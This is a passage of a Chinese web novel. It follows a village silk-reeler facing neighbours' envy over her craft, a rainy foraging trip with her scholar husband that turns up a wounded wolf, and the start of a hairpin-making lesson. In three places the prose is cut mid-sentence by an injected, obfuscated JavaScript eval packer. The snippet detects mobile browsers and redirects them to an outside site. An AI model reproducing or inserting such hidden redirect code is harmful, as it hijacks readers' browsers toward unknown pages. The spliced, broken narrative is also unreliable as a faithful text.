“听说你牵线这个村子里的人同锦庄签了契书，以后的蚕茧都只卖给他家。” 管事哼了一声，声音微沉:“关于缫丝手艺一事，上次确实是我们千丝坊出价太低，这次东家让我过来谈，愿以二百两白银交换，余娘子若是同意，立刻便可奉上银票，若不同意——” “若不同意，你要如何？” 管事意味深长道:“余娘子前些日子应该卖了一批蚕丝给锦庄了吧？你给村里人牵线只卖蚕茧，自己却高价出蚕丝，私藏手艺，偷偷敛财，此事若叫你们村里的蚕农知道了，怕是你也不会有好日子过。” “那你尽管去告诉他们，也好叫我认一认人心，怎么我自个的家传手艺不分享出来，就是私藏了？” 余晚桃低头四处看，去檐角那寻来一根扁担，气汹汹地朝那管事打过去:“你家的赚钱手艺怎不见拿出来给我们分享分享？真是说得好大一个笑话，今儿我就看看你能不能全须全尾地出大桑村！” “你——乡野泼妇！” “滚出去，别脏了我家的院。”，余晚桃将人打出去。 见隔壁余天庆从山里打猎回来了，她扔了扁担就喊:“庆叔，这有外村人过来撒泼了！” 余天庆闻言便提着猎物，带着一身血腥气大步迈过来，见到是千丝坊当初压他们蚕茧价格的那管事，当即横眉道:“你怎么在我们村？快些出去！我们村不欢迎你。” 管事气道:“你可知你面前这人凭着独占的缫丝手艺在锦庄那赚了多少银子，哼竟还蠢得为卖蚕茧那几百文沾沾自喜。” “滚出去。”，余天庆喝他，面色愠怒。 “你！好得很！” 管事到底惧怕于余天庆这猎户的体格，况且又是在大桑村里，他铁青着脸，不甘心地钻上了马车，狼狈地离开大桑村。 余晚桃这才瞧见，这老皮子是驾着马车进村的，还专门停在转弯处，避着村道。 “这种人就是欺软怕硬，以后要再来你就过来喊叔。”，余天庆语气温和了些，同余晚桃说。 “知道了，今儿谢谢庆叔。” “都是自家人，谢甚么。”，余天庆转身往家回。 余晚桃想问他听了那管事的话有甚么想法，张了张嘴还是关上院门把话咽肚里。 这一闹来，晚饭桌上氛围有些沉重。 小细柳垂着脑袋，低声道:“我不知他是那千丝坊的管事，这朝惹恼了他，明儿怕是村里人都会知晓你有缫丝手艺的事了。” 余晚桃淡然道:“这事迟早瞒不住，随他去吧，我又不欠村里人的，他们若是因此不想与锦庄合作了，我会亲自去锦庄找他们东家说明的。” 这叫甚么事，照那管事说的，有门手艺都得藏着掖着，活似不教给村里人大家一起致富，就是村里大罪人般。 余晚桃知人心复杂，却也不愿这般想大桑村的村民，但这心里总没底。 眼下，只能顺其自然了。 当夜喂了蚕，除砂完后余晚桃进了屋，带着复杂的心情熄灯睡觉。 次日去摘桑叶，就碰着了余贵家的，她抱着一把菜，像是专门在田垄头等着她。 “贵婶子，来摘菜啊。” 余贵家的有些心不在焉地应了一声，眼睛盯着余晚桃，笑着问:“听说昨儿下午千丝坊的管事来你家闹了？” “是来说了些疯话，被庆叔打出去了。” “不是疯话吧。”余贵家的语气有点怪:“刚才我去河里捶衣服，听好些人说你靠着一门缫丝手艺，自己制蚕丝去卖，从锦庄那赚了一百多两银子呢。” 余晚桃脸上笑意淡了些:“这些话贵婶子也信？” “怎么不信！不然你家怎么有银子送崔二郎去书院读书。”，余贵家的语气一下激动起来，过了会许是觉得不合适，她又缓了语气。 “桃子啊，大家都是乡里乡亲的，也没人会说你甚么，怎么赚了大钱还这么藏藏掖掖的，对村里人都防备着，像是生怕我们会偷学了你那缫丝手艺似的。” 早晨的田垄来来往往着一些背锄头下地干活的人，也有许多户蚕农，面上虽没说甚，却个个侧着耳朵过来听。 “贵婶子这说的甚酸话，村里叔婶们都是看着我长大的，且个个都有着骨气，哪里就会觊觎我一个孤女赖以生存的手艺了呢。”，余晚桃扬唇轻笑，笑容真诚。 她幽幽觑了一眼余贵家的:“婶子家里可是还租着我家的桑地呢，各家各户养蚕也都是我指点的，怎么这会说起我的不是来，就给忘了？” 余贵家的面色有些羞恼，涨红着脸道:“你给我们牵线的锦庄，只让我们去卖三十五文一斤的蚕茧，自己却偷偷制蚕丝去卖，这不就是自私嘛。” “婶子也可以自己缫蚕丝去卖呀，谁阻止你了？” “我——”，余贵家的憋着一口气，又不敢彻底撕破脸，忍得整个五官都有些扭曲。 人心果然是最不能考验的。 余晚桃失了耐心，越过她往桑园去。 只是这事在村里传开不过一日，就有好些蚕农拐弯抹角地过来打探消息，余晚桃烦得紧，想闭门谢客却总有人来敲门。 临近傍晚时，余村长过来了。 “桃子啊，村里议论的这个事，究竟是真是假？” “村长既然过来问了，心中应已有数了才是，怎还来问我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731697|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余村长语气沉重:“当时村里人被千丝坊集体压价，是你去和锦庄牵线，才达成的合作，如今村里人都知道了你私底下自己缫蚕丝去卖，发了财，他们心里会有些怨言也是正常的，你别同他们计较。” “毕竟若是村里都有了这门缫丝手艺，那每批蚕的利润就会翻许多倍，日子也会好过许多，你……实在不该藏私。” 这冠冕堂皇的话听得刺耳，余晚桃心里窝火:“若没有我，他们连蚕茧都卖不出去。” “理是这么个理，但是——” “村长这是在逼我交出缫丝法子吗？” 余晚桃此刻已然没了好脸，她冷声道:“这是我自己的法子，于情于理，交不交出去都在我。” “这本不是甚么大事，我将这门缫丝手艺教给村里人，大家一起致富也挺好，可如今是甚么意思？我守着自己的手艺，便是天大错了？都这样来逼我，谴我的不是。” “村长去问问别个人家，那些豆腐坊的，卖包子的，木匠铺的，你让他们把自己的手艺交出去，好叫村里人一起挣钱，他们可愿意？” 余村长被说得哑口无言，也有着羞愧，自己确实含了私心，眼前摆着一条发财路子，不论是谁都会生些心思。 “爹！” 林小秋夫妇紧赶慢赶过来了，见院里气氛紧张，林小秋让自家男人去劝劝公公，自己三两步过去把手放在余晚桃的肩膀上，宽慰她。 “桃子，实在是村里那些人个个都登门来，央着公公出这个头，他也是为难。你莫气坏了自个身子，也别听村里那些黑心窝的话，只当狗叫就是。” 余晚桃蹿起的脾气被她逗没了，笑道:“那咱村这狗可真是多，还都是养不熟的。” “就是，养不熟的玩意，迟早下锅炖了。” 林小秋护着自己，余晚桃也不好再叫余村长下不来台，她缓了语气道:“村长，谁若觉得我藏私，骗了他的，只管让人上门来寻我，报上名，我去同锦庄的东家说解除合作，至于缫丝一事，各凭本事。” “没那手艺，就别眼红我赚钱，这话请转告他们。” 送走了余村长一家，余晚桃便将院门锁上了。 小细柳一直在灶房里没敢出来，这会人走了，才端着菜出来摆桌，自己捅了恁大的篓子，就算桃子不计较，这心里也过意不去。 “眼下村里人都对你有了意见，指不定会使些下作绊子，往后在村里可怎么办？” “尽管使来便是。”余晚桃面色微冷，给自己舀了碗饭:“这朝若乖乖把缫丝手艺教出去，只怕他们都要以为我是个好拿捏的了。” 她夹了一筷子炖得软乎的茄子条，“明儿你去县里，大大方方的，就以我要教她手艺的名头把窈儿请来家里住几日。” 小细柳心里一抖，这不是明着打村里人的脸嘛。 “这成吗？” “自然成，就是要叫他们看看，我的手艺想教谁便教谁，由着我自己来，谁也强迫不得，愈是打上门来试图用些浅薄情分拿捏我的，我愈是看不上。” 余晚桃心里团着一股郁气，偏就不想如他们的愿。 32. 旬休归家 新秋生早雾，九月初早下了一场蒙蒙细雨，雾又重，远处屋舍瓦落错落，似一副烟雨人家水墨画。 今儿是书院旬休的日子。 余晚桃推门出屋，迎面而来便是一阵凉意雨丝，她从墙边取了斗笠来，小跑着进了灶房，抖抖身上的水珠，生火烧水、揉面。 “这雨一下啊，天就变凉了。”，小细柳从侧屋檐穿着雨鞋走过来，手上抓着一把番薯叶，还有几颗辣椒。 她拿了簸箕来，拖着小马扎坐在灶口前剥番薯叶，仰头看余晚桃在剁馅料:“做包子吗？” “包饺子，白菜猪肉馅的。” 小细柳点头，说:“菜地里那片白菜包得够圆呼了，很大一颗，等天气再冷些就可以割回来了。” 一入秋距离冬天也就不远了，等下了雪家家户户都猫冬，菜地里也种不活鲜嫩的蔬菜，只能靠着秋季时大量储存白菜、土豆、番薯这些耐放耐吃的，才能熬过一个冬季。 余晚桃看看外边雾蒙蒙雨丝丝的天，这雨一下，山里的板栗应该差不多掉完了，而且应该还会冒不少菌子，这时候进山能收获不少。 先前做的菌菇辣酱没剩多少了，趁这机会多做些正好。 水烧开后，余晚桃负责擀面，小细柳负责捏饺子，满一托就往里倒，自己做的饺子皮薄馅大，七八个就能装满一碗。 二人在灶房里忙活着时，院外敲门声笃笃响起，有节奏的敲了几下。 余晚桃只以为是上门来找事的蚕农，装没听见。 直至一柄桐油伞出现在竹篱笆外，伞下立着位身姿挺拔的漂亮读书郎。 “细柳姐。”，崔玉棠抬高音量唤了一声。 听闻声音，小细柳探头出去，见竹篱笆外高高站着的人，蓦地睁大眼，连手上沾着面粉都顾不上洗，忙跑过去给人开门。 “还以为你得下午才回来呢。” 院门开了，崔玉棠得以进来，先走到灶房外，见她们在包饺子，才背着书箱进了屋，再出来时换上了往日在家里穿的束袖短打。 “今儿早上书院里没课，又赶巧下雨，夫子说家里离得远的可早回去，我就回得早了些。” “正好赶上吃饺子。”，余晚桃把第一锅饺子捞起来，迅速调了碗料汁。 外边下着雨，便不能在院里吃了，只得将桌子抬到灶房里。 好在灶房里的柴火垒得整齐，空出来的地方够摆桌吃饭的。 三人在灶房里到底有些挤了。 余晚桃把料汁分成三碗，“今年先将就着，等明年开春再加盖两间屋子。” “我看后院地方宽，原本盖养猪棚的地方还空着，几年下来应该也没味了。”，崔玉棠吃了口饺子，满足地喟叹了一声。 他半是告状半是抱怨地同余晚桃说:“你给我带的吃食，游兄总来抢，都没吃够。” 余晚桃轻笑:“想吃下回带他来家里呗，反正上次说了，给伙食费就成。” “游兄来做客，其他人定也吵着要跟来，那帮同窗闹腾得很。”，崔玉棠话里嫌弃人。 第一锅饺子吃完，三人都有些意犹未尽的，便下了第二锅，吃好后收拾碗筷，将剩下的饺子蒸出来，拿油纸包起。 崔玉棠见她拿了砍柴刀和蓑衣，“是要进山？” 余晚桃穿戴好蓑衣:“想去山里捡些板栗和菌子。” “我去拿弓箭。”，崔玉棠去屋里取了弓箭来，也戴好蓑衣斗笠，挑了个大的竹筐背在身后:“你把砍柴刀和油纸包都放竹筐里吧，上面拿油布盖着，雨进不去。” 余晚桃让他稍微蹲下些，把东西放进去，临出门前叮嘱小细柳:“记着昨儿说的话，窈儿来了后好生招待着，村里旁的人过来都不要理会。” 小细柳应了声，也准备出门去村口等牛车。 细雨绵绵，秋色蜿蜒，村道两侧的树叶变黄了，被夜风打落下来一簇簇的，田野里稻梗发黄，草垛子被雨打湿，耷耷地滴着水。 往山里去时碰上了几个村里婶子，平时还打个招呼，这会却冷着脸扭身走开。 崔玉棠显然察觉到了不对劲。 待进了山，他才问:“可是村里出了甚么事？” 余晚桃踩着湿草丛往上走:“那千丝坊的管事来村里闹了一通，村里人都知道了我有一门赚钱的缫丝手艺，都不满着呢，觉得我私藏手艺不教他们，如今怨怼颇深。” 崔玉棠皱眉:“贪心不足。” “不用理会那些人，我有法子膈应他们。” 余晚桃一路观察四周，瞥见了松针覆盖着的地方有白白的菌伞冒出来，走过去剥开松针一瞧，果然是窝鸡枞菌。 “一下雨，菌子就冒出来了。”，崔玉棠蹲下来，从竹筐里拿出砍柴刀，用尾部去撬菌杆根部。 这种鸡枞菌，都是一窝窝的，挖完之后把泥土和松针盖回去，过段时间就又能长出来。 余晚桃在竹筐底部垫了一层树叶，小心翼翼地把鸡枞菌往里放，一窝摘完有六朵，最大的那朵菌伞撑开了比脸都大。 “继续往上走应该还会有其他菌窝。”，崔玉棠紧握着刀，在前面开路，把两边的枝枝蔓蔓都清理开。 一路下来发现了五六个鸡枞菌的窝，崔玉棠还逮到了一只野鸡，捡了一窝的野鸡蛋。 两人沿着小路往上走，来到上次发现野蚕茧的溪边。 “这儿小螺蛳多，捡一些回去砸碎喂□□。” 崔玉棠应了一声，把竹筐放下，去林子里扯了几张大阔叶子来，卷了裤腿趟进溪流里弯腰寻摸螺蛳。 余晚桃也打算下水摸螺去，结果被崔玉棠制止了，他拿冰凉的手碰了碰她的脸颊，说:“入了秋，山里溪水冰得紧，你就别下来了，在溪边石头那找螺蛳就行。” “那你也别在溪里待太久，小心着凉。”，余晚桃边说，边把脸颊上因触碰而沾上的水珠擦去，心里觉得有些不对劲，溪水冰就溪水冰，怎么还特意伸手过来给她脸颊一下。 余晚桃没摸几颗螺，就坐在石头边托腮，看着溪里弯腰摸螺的崔玉棠，被斗笠遮去大半的脸，露出一截下巴，似上等玉质，洁白无暇。 “咯咯咯——” 被绑脚的野鸡试图逃跑。 余晚桃一把按住，干脆拿刀把它翅膀的毛给切了，她点着鸡脑袋:“今晚就炖了你。” 瞧着雨下大了，溪里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736917|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水有些浑浊，水流也变得有些湍急。 余晚桃忙把崔玉棠喊了上来:“这溪里水位怕是要上涨了，我们快些走吧。” “好。”，崔玉棠把用阔叶捆好的几包螺蛳放到竹筐最底下，也不顾还湿着的脚，穿上鞋就背上竹筐，从来时的山道回去。 噼里啪啦的雨愈发大，山里又雾蒙蒙的，周围传来鹧鸪鸟呼唤同伴的叫声，下山的路不好走，崎岖又泥泞，崔玉棠回头扶着余晚桃，避免她摔倒。 当机立断道:“庆叔在山上有个木屋，我们先过去避一下雨。” 余晚桃微不可闻地舒了口气:“那你带路吧，这雨太大了我都怕等下会有山洪冲下村口。” “手给我！”，噼啪的雨声很大，崔玉棠直接拽住了她的手腕，往另一条山道走。 他边走边大声道:“村里有挖排山洪的沟渠，你别担心，而且这雨来得急，不会下很久的。” 余天庆的木屋在林子内围，崔玉棠对这边熟，走山道穿过一片松木林，就能远远瞧见木屋的轮廓了。 等走近了，余晚桃才发现这木屋还是两层的。 “快进去。” 崔玉棠快速打开木门，将余晚桃推进木屋里。 木屋里边挺简陋的，就一张木床和靠边的四方桌，余晚桃解下蓑衣和斗笠，原本蹦几下抖去身上的寒意。 崔玉棠并未进屋，他围着木屋转了一圈，确认四周安全，才进了屋，脱去身上湿哒哒的蓑衣，把弓箭挂到墙上。 山里温度低，他找了一个铁盆出来，从角落里抱来一捆干柴，点燃取暖。 余晚桃去查看竹筐里的鸡枞菌，见没被雨砸坏这才放下心来，她从里取了油纸包出来，“饺子直接吃吧？” “庆叔这儿有锅。”，崔玉棠起身欲去拿锅。 “饺子蒸过一次，再煮馅皮就散了。”，余晚桃把他拉回来:“将就吃吧，蒸饺吃凉的也没事。” 崔玉棠坐了回去。 两人分着吃完了蒸饺。 余晚桃瞥见角落里的野鸡，全身毛都被雨打湿了，蔫啦吧唧地窝着，早没了先前咯咯叫的那副嚣张气焰。 她收回视线，忽然想到刚才经过的那一片松木林:“二郎，我们刚才经过那片松木林的时候，你有没有看到那些松塔？” “松塔？”，崔玉棠略回想了下，道:“那片林子一直都有松塔的，树上地上都有很多，你想捡一下回去当柴火点吗？” “里面的松子能吃呀。”，就刚才匆匆穿过林子，她看见的几个松塔，都非常大，瞧着有四五年了。 好的松塔不多见，尤其是树顶上长了好几年的，不仅可以炒松子仁，还能做松子油。 余晚桃颇为心动:“等雨停些我们去打松塔吧。” “好。”，崔玉棠看着她，神情专注。 这样的目光存在感太强了。 余晚桃摸摸自己脸蛋，纳闷道:“看甚？” 崔玉棠轻笑，慢慢摇头，起身去将木窗推开些，把烟散出去。 岂料目之所及处，对上了一双绿色的，潜伏在不远处灌木丛里的眼睛。 他眯起眼，全身神经陡然绷紧。 33. 山中遇狼 “怎么了？” 余晚桃见崔玉棠神情严肃，还取了墙上的弓箭下来，当即站起询问。 “好像有狼，你别出声，我去看看。” “狼——”，余晚桃震惊地捂住嘴，低头看看四周，忙拿起地上的砍柴刀，双手握紧。 崔玉棠连蓑衣都没披就出去了。 他绕着木屋檐侧走到后面，警惕地盯着那处灌木丛，只要一有动静，箭矢就会顷刻射出去。 骤雨不停，打在脸上有微弱的痛感，眼前的视线也被淋湿的眼睫遮住，崔玉棠伸手抹了一把脸，弯腰从旁边绕过去，距离近了，终于看清那双绿眼睛下庞大的狼躯。 他一直紧绷的神经骤然松懈，松了弓弦，走上前去居高临下盯着被巨木压住，腿部被撕咬过的奄奄一息的巨狼。 许是因为某种原因脱离了族群，跟其他野兽厮斗过又碰上大雨，倒霉地被倒塌的巨木砸到，直接横腰压断了脊梁骨。 就连狼嚎都是他走近了才听到的。 太微弱了，远处的狼群根本听不到。 崔玉棠盯着那双闪着凶性的狼瞳，稳着手了结了它，再把那截巨木搬开，拖着巨狼尸体回到木屋外。 大雨冲刷了一切气味和血迹，此刻并不担心狼群会顺着气味找过来。 崔玉棠估摸着这条巨狼能有百斤重了，四肢结实，身上都是板扎的肌肉，外面的狼毛是纯正的灰色，连根黑毛都没掺。 正好快入冬了，这身狼皮毛应该能卖不少银子。 “阿桃，快出来看看。”，崔玉棠有些激动地朝木屋里喊。 余晚桃握着砍柴刀打开一点门缝，被差点顶到眼前的巨大狼脑袋给吓得整个人往后一跳，脸色煞白。 身为社会主义好青年，余晚桃此刻还能站稳已经是心理非常强大了，她抖着嘴唇:“狼？” 崔玉棠高兴地点头:“咱运气好，这条狼受了伤又被大树压到，我刚过去的时候它奄奄一息的，我就补了一下。看它身上皮毛多油亮，做狼大氅再合适不过了。” 余晚桃猛咽了下口水，确认地上的狼确实没气了，才松了肩膀，后怕道:“幸亏碰上的是受伤的狼。” 这狼体型大，拖着走会将血迹延进村子里，万一大雨没冲洗干净，把狼群引进村里就大罪过了。 崔玉棠伸手道:“砍柴刀给我，我去砍些草藤来把它捆起来，我等会扛着走。” “你小心着些。” 余晚桃对这具狼尸还是有些害怕的，她掩着门，往铁盆里多加了两根干柴，让火燃得更旺些，驱赶周遭的寒气和恐惧感。 直至崔玉棠砍了草藤回来。 为了保险起见，他还在狼后肢被撕咬的地方绑了几层阔叶，避免血流出来。 “雨小了，我们准备下山吧，松塔下回再来打。”，崔玉棠怕山里待久了会遇到出来寻找同伴的狼群。 “好，你扛着它，竹筐我背。”，余晚桃出去接水回来把火盆灭了，穿好蓑衣，戴上斗笠，将竹筐背起。 雨小了下山的路确实好走些。 途径先前来过的板栗林，余晚桃看到被打落的满地板栗，她有些走不动道了，“二郎，你先把狼背下山吧，我捡些板栗。” 崔玉棠扛着百斤余重的巨狼，轻松回头:“先下山吧，等会再一起过来捡。” “没事，这靠近山脚农田，我都能听到有人在附近找菌子呢，放心吧到这里很安全了。” 这确实是山脚附近，平常村民经常会来的地方，山里野兽不会到这边活动。 崔玉棠只犹豫了片刻，就应了一声，转身加快步伐，几乎是小跑着往山下去。 余晚桃把竹筐放下来，将里面的鸡枞菌拿出来用草藤串好，底部空出来，捡的板栗通通扔进去。 很多板栗在掉下来的时候外面那层毛刺壳就开了，只有少数还带着绿的没开口，都是刚被大雨打下来不久的。 余晚桃沉浸在捡板栗的乐趣里，在捡满一筐时崔玉棠就背着一个新的竹筐回来了。 “这么快就回来了？” 崔玉棠嗯了一声:“我把狼放庆叔家就过来了。” 余晚桃见他微喘着气便知道是跑急了:“那么大条狼，可别吓着柔妹了。” “柔妹胆子大着呢，都敢伸手去摸。”，崔玉棠笑着说:“她胆儿可比你大。” 余晚桃默默咬牙，没忍住朝他扔了一个板栗过来。 这点劲不痛不痒的，崔玉棠弯腰捡起那颗板栗，放进了竹筐里。 两人足足捡了两大筐板栗，才把鸡枞菌放在最上面，拿树叶盖起，踩着秋雨归家。 回到家时，灶上热水已经烧好了。 窈儿蹲在灶房里烧火，闻声探出半个身子，笑着开口:“桃子姐，你们回来啦。” 余晚桃取下斗笠，甩了甩滴水的头发:“哎，窈儿来啦。” “我去县里说了你要教她手艺的事，可给她高兴得，收拾了套换洗衣裳就跟着我回来了。” 小细柳边说着话，边拿簸箕去将竹筐里的鸡枞菇分出来，扬声道:“这个天你们还在山里跑恁久，快些去舀热水去洗洗，换身干衣裳。” 她把堆尖的鸡枞菌拿回灶台放好，去菜地里拔姜，准备煮两碗黄糖姜汤。 虽然有蓑衣披着，但身上到底还是湿了许多，余晚桃快速洗了个热水澡，铰干湿发，再喝碗黄糖姜汤，浑身暖呼呼的劲就上来了。 她撑着把桐油伞往丁婶家去。 不料这边院里热闹着呢，个个得了消息都跑来看大狼，不可思议地议论着，甚么狗屎运能碰着刚好受伤的大狼。 像这种体型的成年狼，要是没受伤让人碰着了，人根本没有逃跑的机会，指定被撕咬生吞了。 “这能卖不少钱吧？真是崔二郎猎到的？” “我刚才在田垄那边亲眼看见桃子家二郎扛回来的，那把子力气真不是吹的，扛着百多斤的大狼还能跑，都不带气喘的，一个书生，真不知道怎么练出来的力气。” 有人忍不住嫉妒，小声嘀咕:“怎么就她家碰上这好事了。” “哎别说了，桃子来了。” 絮絮的议论声在余晚桃进来时停住了。 “桃子，二郎怎么没过来？” 余天庆磨亮一把专门用来剥皮的弯刀，笑着对她说:“正好我县里有个老主顾，说想要张皮子给家里小郎君做身过冬的狐狸皮毛斗篷，这见了秋啊山里野兽精得很，狐狸不好逮。” “我瞧着这张狼皮毛比狐狸皮毛还要厚实漂亮，那位老爷估计会喜欢，他是我的老主顾，应该能给个不错的价。” “那可要麻烦庆叔帮我们张罗一下了。” “甭跟叔客气。”，余天庆说着顿了顿，有些不好意思地说:“桃子啊，这狼身上皮毛能卖，狼骨能泡酒，狼牙更是难得，有趋吉避凶的寓意，你看能不能卖一根狼牙给我？我想做条狼牙链子给柔妹戴。” 余晚桃握着伞柄，将穿着小雨鞋，冲过来抱大腿的柔妹扶稳，露出一抹微笑:“庆叔，这是二郎打的，等会二郎来了您问他便是，他的打猎本事都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741052|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔教的，一根狼牙还说什么卖不卖的。” 余天庆挥手:“这两回事，我教二郎打猎是看他力气大，有天赋，咋能贪图他便宜。” 二人说着话时，崔玉棠也过来了。 余晚桃收了伞，侧身过去与他同撑一把伞，说了方才的事。 崔玉棠欣然应了。 围观的村民里也不知是谁，呸了一声。 崔玉棠闻声将视线一一扫过去，压着眉，神色漠然。 “都走吧都走吧，在这有甚好看的。” 丁婶抱起柔妹，将围观的村民都请了出去，院门一关，就收了笑脸:“一群吃饱撑着没事干的大嘴巴，整天就知道撅着个腚搬弄是非，眼红这眼红那的，老脸都不要了。” 她让柔妹进屋去玩，对余晚桃说:“村里闲话别听，你该咋样就咋样。” “嗯嗯，谢谢婶儿。” 余天庆手艺熟着，轻易就将那百余斤的狼给处理好了，去村长家借了牛车，赶着时辰，趁皮毛刚剥下来新鲜着，拿去县里出给了那户老主顾。 县里少有猎户能猎到狼的，稀罕着，狼皮毛连着一副狼骨，那老主顾直接给了十二两银子，笑得合不拢嘴。 余天庆帮忙处理和售卖，只从中取了一百文。 余晚桃想多给他二两都硬是不收，只能拿了一篮子鸡枞菌和那只野鸡过来，才与崔玉棠回了家。 小细柳做了四碗菌菇鲜肉浇头的扯面，另煎了一条鱼，炒了一碟韭菜小虾米。 小虾米油炸过又晒干，用韭菜这么简单清炒一下便是道不可多得的美食。 余晚桃拨了一些进面碗里:“这小虾米是好吃，先炸后晒，不仅肉质紧实，还保留了虾的原鲜。” “是公家塘里捞的？”，崔玉棠胃口比去书院前还要大，一海碗面吃完了，只觉得七分饱，于是起身又去锅里捞了一碗上来。 “前阵子村里公家塘收塘，我还买了几十条鱼腊起来了呢，你爱吃就多吃些，家里还多的是。” 崔玉棠扼腕叹息:“旬休只有两日。” “旬休两日，你今日都在山里跑，可是一日未曾读书了。”，余晚桃语气平淡地提醒他。 崔玉棠哑言。 吃了晚饭，便端着油灯进屋去，谨遵妻训，抵灯夜读圣贤书。 捡回来的的鸡枞菌不能过夜，余晚桃当晚就全部清洗出来，费了些功夫熬制成菌菇辣酱。 夜色昏沉，余晚桃提着灯笼过了院，进了蚕舍。 小细柳刚好给蚕换完砂，“我这两天通过观察，发现蚕蜕之后进入二龄期的蚕基本上没有拉稀的问题了，不过旁边捡出来隔离的死了一些，都被我拿去喂鸡了。” 余晚桃道:“进入二龄期，蚕的肠胃对现阶段桑叶的适应性会更高一些，熬过去后边就轻松多了。” “是啊，自从出现蚕拉稀这个情况后，每天需要把病蚕挑拣出来隔离养殖，为了防止传染，还要增加除砂的次数，这么见天的忙下来给累得够呛。” 蚕拉稀这个问题得到解决，余晚桃心里也落下了一块大石头。 从蚕舍回到屋里，见崔玉棠在认真习书，她去箱笼里把晒过的被褥翻出来铺上。 只是看着床上这一张被子，余晚桃拧着眉头，略微纠结。 床本就小，再同盖一被，岂不是要贴着睡。 “在想甚么？”，崔玉棠无声无息地放下了书，走到床边来。 他解了衣带，将长袍挂到一边，只着了件里衣，温声道:“今儿跑山里累了，早些歇息？” 34. 梨花簪 余晚桃深思熟虑下，掀开被子一角躺了上去。 她眨了眨眼:“不是要歇息了吗？还不上来。” 崔玉棠脱了鞋袜，躺到里侧。 秋夜里万籁俱寂，屋里油灯被风吹得一跳一跳的，照得墙上的影子忽而跃动，忽而张扬。 “你没掐灯芯。”，余晚桃缩进温暖的被窝里，提醒他。 崔玉棠一声不吭地起床去掐了灯芯，又把窗户关紧，屋里一下暗了，伸手不见五指，他摸索着上床去，谁料脚一落，精准无误地踩到了余晚桃的小腿上。 余晚桃疼得当即嗷一声弹起来。 崔玉棠心里一慌猛收了脚力，整个身体却因为动作太急促而重心不稳，稳稳砸到余晚桃身上。 余晚桃先遭一脚又被砸了个瓷实，她咬紧牙关:“你看着点啊。” 崔玉棠手忙脚乱地退开，愧疚不已:“踩到哪了？我看看。”，他摸索着去把刚掐灭的油灯点上。 “你力气收得快，倒是没踩实，就是猛的一下疼着了。”，她缓过劲来，借着油灯的光亮捋起裤腿看，没青没紫也没红印子。 “没踩实就好。”，崔玉棠大大松了一口气。 经过这个乌龙，屋里倒是啥旖旎心思都没了，两人再度躺好，余晚桃也放松下来，被子里肩膀碰着肩膀，脚搭着脚，挤在一个被窝里互相汲取着温暖，困意很快袭来。 次日，气温降了些，但天儿已然放晴。 余晚桃把捡来的板栗都处理了，因为量太多，家里粗盐也不够炒，就干脆全部晾了起来，放在院里风干。 上午摘完桑叶，喂完蚕，余晚桃将窈儿喊进了屋里，取出自己做绒花品的工具箱子，从里拿了两络蚕丝出来。 “我打算明年开春在县里盘个铺子，卖女子饰品，到时会需要人手帮衬，窈儿，对于学手艺一事，你是如何想的？” 窈儿声音坚定:“我想学手艺，想自己赚钱养活自己，这样哪怕将来许的夫家不好，我也有反抗的底气，不用攀附着他人过活。” 窈儿眼里有着超脱大魏朝女子固有思维的不屈和野心，从不安于现状，在慈济堂那般地方都能为自己将来筹谋，这也是余晚桃会选择她的原因。 “要做绒花饰品，首先你要有发现美的能力，比如我要做一支桃花簪，就要去观察它的花瓣，花苞，是甚么颜色，甚么形状的，观察细致了还得将它复刻在纸上。” “再到染丝，这一步需要对各种染色原材的搭配做到了然于心，还有对簪体造型的大小比例，以及其他搭配，比如珍珠，掐金丝，流苏这些，都不是一朝一夕能学会的。” 余晚桃见她听得认真，便接着说道:“你可慢慢看着我怎么做的，平时出门多注意那些夫人小姐佩戴的发饰都有甚么样式的，然后试着画下来，去对比，去琢磨它出彩之处。” “听着好难。”，窈儿只以为做簪子便是做，不成想还有这般多的准备工作，需要会作画，还要懂染色。 “上手了便好，我给你做一支最简单的梨花簪吧，你看看大概的步骤。” 梨花为白，不用染色。 余晚桃取出一铜棍，将蚕丝分缕绑在上面，约半掌宽为一支，固定在木架上，随后一分为二开始梳绒:“这一步叫梳绒，就是要把蚕丝梳得均匀细顺，不能结络。” 梳绒完成后便是拴绒，取一根铜丝对折在梳好的绒面上两侧反方向搓紧，每截一指宽覆一根，全部搓紧后拿剪子在两根铜丝间隔正中剪下。 “这是剪绒排，接下来稍微整理一下两侧绒的平整度，就可以滚绒了。” 余晚桃捏着铜丝一侧，将另外一侧放在木台上，用滚绒木来回搓压铜根，绒丝在作用下便从绒排滚至圆，其余的操作一样。 “做完这些，接下来便是打尖，将两侧修剪一下，就可以对折，压扁定型成花瓣了。” 余晚桃做起这些信手拈来，为了让窈儿看得更清楚些，她特意放慢了动作，一步步解说。 